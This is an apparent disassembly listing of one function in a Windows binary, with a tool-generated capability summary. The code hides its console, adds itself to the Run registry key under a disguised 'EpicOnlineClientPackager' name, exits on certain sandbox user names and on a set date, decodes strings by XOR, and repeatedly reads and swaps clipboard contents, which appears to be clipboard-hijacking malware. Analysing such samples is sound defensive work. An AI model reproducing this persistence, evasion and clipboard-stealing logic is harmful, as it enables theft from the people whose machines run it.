Function at 0x14001d860
Capabilities:
Get session user name
Open clipboard
Persist via run registry key
Read clipboard data
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x330
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14003e080]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r12d, r12d
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp + 0xe8], rdx
lea rcx, [rbp + 0xe8]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
cmp dword [rax + 0xc], 0x16
jne 0x14001d900
cmp dword [rax + 0x10], 5
jne 0x14001d900
cmp dword [rax + 0x14], 0x7c
jne 0x14001d900
cmp dword [rax + 8], 0xd
jl 0x14001d8f7
jne 0x14001d900
cmp dword [rax + 4], 0xf
jge 0x14001d900
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0xc0], 0x101
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movabs r14, 0x2730cb782d0a647b
movabs r15, 0x2ca8e80942836df4
mov r8, 0xffffffffffffffff
test eax, eax
je 0x14001d975
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], r12
lea rax, [rbp + 0x1c0]
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14001d960
lea rdx, [rbp + 0x1c0]
jmp 0x14001d9fd
movabs rax, 0x725ebc1743610a2e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20], rax
movabs rax, 0x2ca8e80942f10887
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], r12
lea rax, [rbp + 0x20]
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14001d9f0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc8]
call fcn.14001d730
nop
lea rcx, [rbp + 0xc8]
mov rdi, qword [rbp + 0xc8]
mov rsi, qword [rbp + 0xe0]
cmp rsi, 0xf
cmova rcx, rdi
mov rbx, qword [rbp + 0xd8]
cmp rbx, 5
jne 0x14001da47
mov r8, rbx
lea rdx, str.Bruno
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001da6f
lea rcx, [rbp + 0xc8]
cmp rsi, 0xf
cmova rcx, rdi
cmp rbx, 6
jne 0x14001da78
mov r8, rbx
lea rdx, str.george
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001da78
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140007b50
mov r8d, 0x104
lea rdx, [rbp + 0x1c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14001db25
lea rcx, [rbp + 0x1c0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x14001dae0
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str._77EpicOnlineClientPackager.exe
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140008170
lea rax, [rbp + 0x20]
mov qword [rbp], rax
movabs rax, 0x425daa165f6f172e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x40], rax
movabs rax, 0x2ca8e80942834dce
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x48], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x40], xmm0
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.140020210
mov rbx, rax
movabs rax, 0x4259a73b0d7d0135
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x140], rcx
movabs rax, 0x49c6866601a3199a
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x148], rcx
movabs rax, 0x35b7b6d4054cb2e6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x150], rax
movabs rcx, 0x117105eb3d2c0456
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x158], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x100], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x108], rax
movabs rax, 0x35b7b6fa6129c685
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x110], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x118], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x140], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r12
lea rax, [rbp + 0x140]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x14001dc91
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x160]
call fcn.14001d730
nop
mov rdx, rbx
lea rcx, [rbp + 0x160]
call fcn.140005820
lea rcx, [rbp + 0xc0]
call fcn.140007a70
movabs r13, 0x4e94914f0000
mov r15, qword [rbp]
mov rax, qword [rbp + 0xc0]
lea rsi, [0x14003e0f0]
mov r14d, 0xff
movabs r9, 0x7fffffffffffffff
movabs r8, 0x7fffffffff67697f
mov rcx, rax
cmp rax, r8
lea rbx, [rax + 0x989680]
jl 0x14001dd12
mov rbx, r9
movabs r12, 0x431bde82d7b634db
nop dword [rax]
lea rcx, [rbp + 8]
call fcn.140007a70
mov rax, qword [rbp + 8]
cmp rbx, rax
je 0x14001dd82
mov ecx, 1
cmovl ecx, r14d
test cl, cl
jle 0x14001dd82
mov rcx, rbx
sub rcx, rax
cmp rcx, r13
jge 0x14001dd76
mov rax, r12
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14001dd6d
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14001dd20
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x14001dd20
cmp byte [0x14003ee1c], 0
mov r12d, 0
movabs r14, 0x2730cb782d0a647b
je 0x14001de6c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x4045a91d49514471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x4dc68d297cae4da9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x35b7b6db054caae7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rdx, 0x117105eb3d2c0456
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x2ca8e80942836df4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x35b7b6fa6129c685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rdx, [rbp + 0x20]
vzeroupper
call fcn.1400204d0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14001decf
mov ecx, 7
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x14001dea5
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14001d730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea r15, [rbp + 0x20]
jmp 0x14001ded8
cmp rsi, r15
je 0x14001df58
mov rdx, qword [0x14003e108]
cmp rdx, 0xf
jbe 0x14001df19
inc rdx
mov rcx, qword [0x14003e0f0]
cmp rdx, 0x1000
jb 0x14001df14
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001e5db
mov rcx, r8
call fcn.14002c360
mov qword [0x14003e100], r12
mov qword [0x14003e108], 0xf
mov byte [0x14003e0f0], r12b
movups xmm0, xmmword [r15]
movups xmmword [0x14003e0f0], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [0x14003e100], xmm1
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], 0xf
mov byte [r15], r12b
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14001df93
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001df8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e5db
call fcn.14002c360
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], r12b
movabs rdi, 0x2ca8e80942836df4
cmp byte [0x14003ee1c], r12b
je 0x14001e0a1
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5348ae2c5e514471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x2ca8e8297cae4da9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x120], xmm0
mov r8, rsi
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x20]
call fcn.140020210
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14001e04a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400227b0
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14001e091
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e08c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e5e2
call fcn.14002c360
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
call fcn.1400076b0
mov ebx, eax
mov dword [0x14003ee18], eax
cmp byte [0x14003ee1c], 0
je 0x14001e193
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5749b93b44514471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x58c9857b2dc50280
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x35b7b6da5f04e6d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rdx, 0x117105eb3d2c0456
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x35b7b6fa6129c685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rdx, [rbp + 0x20]
vzeroupper
call fcn.1400204d0
mov edx, dword [0x14003ee18]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov ebx, dword [0x14003ee18]
cmp ebx, 5
jne 0x14001e231
mov rdx, rsi
lea rcx, [rbp + 0x100]
call fcn.14001f690
mov rbx, rax
mov qword [rbp], rax
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14001f690
mov rcx, rax
call fcn.140004670
lea r8, [0x140030a54]
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.140020370
mov rcx, rax
call fcn.140006a30
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14001e21c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14001e217
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001e5e9
mov rcx, r8
call fcn.14002c360
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov ebx, dword [0x14003ee18]
lea rdx, [0x14003ee60]
cmp qword [0x14003ee78], 0xf
cmova rdx, qword [0x14003ee60]
mov rcx, rsi
mov rsi, qword [0x14003e0f0]
mov r14, qword [0x14003e108]
cmp r14, 0xf
cmova rcx, rsi
mov rdi, qword [0x14003e100]
cmp rdi, qword [0x14003ee70]
jne 0x14001e281
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001e5ca
lea rdx, [0x14003ee80]
cmp qword [0x14003ee98], 0xf
cmova rdx, qword [0x14003ee80]
lea rcx, [0x14003e0f0]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, qword [0x14003ee90]
jne 0x14001e2c0
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001e5ca
lea rdx, [0x14003eec8]
cmp qword [0x14003eee0], 0xf
cmova rdx, qword [0x14003eec8]
lea rcx, [0x14003e0f0]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, qword [0x14003eed8]
jne 0x14001e2ff
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001e5ca
test ebx, ebx
je 0x14001e5ca
cmp ebx, 5
je 0x14001e5ca
cmp ebx, 1
jne 0x14001e31e
lea rdx, [0x14003ee60]
jmp 0x14001e338
cmp ebx, 2
jne 0x14001e32c
lea rdx, [0x14003ee80]
jmp 0x14001e338
cmp ebx, 3
jne 0x14001e349
lea rdx, [0x14003eec8]
lea rcx, [rbp + 0x50]
call fcn.14001f690
mov rcx, rax
call fcn.140006a30
lea rax, [rbp + 0x50]
mov qword [rbp + 0x20], rax
movabs rax, 0x754ae115d65075b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x49da8c6d23a30395
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x4197d2940009b5f6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x6315618a1d58653e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x32dc9c5325cff5aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xe7c04485d36a286b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rcx, 0xd5e8b7f69614d699
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rdx, 0x311fd3d7fd4e402a
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs r14, 0x2730cb782d0a647b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rdi, 0x2ca8e80942836df4
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x35b7b6fa6129c685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x117105eb3d2c0456
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x12a8f33405bc86cf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xc6a421f5a3034408
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x50]
vzeroupper
call fcn.140020370
mov rbx, rax
movabs rax, 0x5759a73b0d7d0135
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x40], rcx
movabs rax, 0x2ca8e80942836dd5
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x48], rcx
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rax, [rbp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001e5a0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x100]
call fcn.14001d730
nop
mov rdx, rbx
lea rcx, [rbp + 0x100]
call fcn.140005820
lea rcx, [rbp + 0xc0]
call fcn.140007a70
jmp 0x14001dcd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3